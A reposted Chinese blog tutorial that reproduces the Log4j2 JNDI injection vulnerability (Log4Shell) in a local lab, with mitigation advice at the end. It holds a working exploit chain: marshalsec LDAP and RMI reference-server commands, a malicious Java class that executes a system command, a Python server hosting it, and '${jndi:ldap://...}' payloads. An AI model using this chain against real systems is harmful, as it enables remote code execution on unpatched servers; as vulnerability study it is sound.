0


【Apache】 手把手教你Log4j2漏洞复现

漏洞简介


漏洞概述由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。影响版本Apache Log4j 2.x<=2.15.0.rc1影响范围Spring-Boot-strater-log4j2ApacheStruts2ApacheSolrApacheFlinkApacheDruidElasticSearchFlumeDubboRedisLogstashKafkavmvare

复现过程


环境搭建

创建一个maven工程,引入jar包依赖。

<!-- pom.xml --><dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies>

marshalsec

marshalsec这款工具,可以快速开启RMI和LDAP服务。GitHub:https://github.com/mbechler/marshalsec

clone到本地后使用maven编译。

mvn clean package-DskipTests

编译完成后在当前目录会生成一个

target

文件夹,里面有我们需要的jar包

marshalsec-0.0.3-SNAPSHOT-all.jar

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Expliot"8080#8088是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1389。

启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Expliot"9090#9090是启动LDAP服务的端口号,若端口号为空,则使用默认端口:1099。

漏洞利用


恶意类

编写一个恶意类Exploit,这里以弹出计算器为例。

publicclassExploit{publicExploit(){try{String[] commands =newString[]{"open","/System/Applications/Calculator.app"};Process pc =Runtime.getRuntime().exec(commands);
            pc.waitFor();}catch(Exception var3){
            var3.printStackTrace();}}publicstaticvoidmain(String[] argv){newExploit();}}

将这个类进行编译,在编译生成的.class文件目录下启动一个web服务。

python3 -m http.server 8000

LADP协议注入

创建测试类:

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclass ldap {privatestaticfinalLogger logger =LogManager.getLogger(ldap.class);publicstaticvoidmain(String[] args){System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");}}

RMI协议注入

创造测试类:

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclass rmi {privatestaticfinalLogger log =LogManager.getLogger();publicstaticvoidmain(String[] args){System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        log.error("${jndi:rmi://0.0.0.0:1099/Exploit}");}}

运行上面两个类,成功调用出计算器。
请添加图片描述

修复建议


目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

临时措施进行漏洞防范:

  1. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  3. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  4. 部署使用第三方防火墙产品进行安全防护。
标签: java maven apache

本文转载自: https://blog.csdn.net/weixin_44905521/article/details/123829597
版权归原作者 这是方方方 所有, 如有侵权,请联系我们删除。

“【Apache】 手把手教你Log4j2漏洞复现”的评论:

还没有评论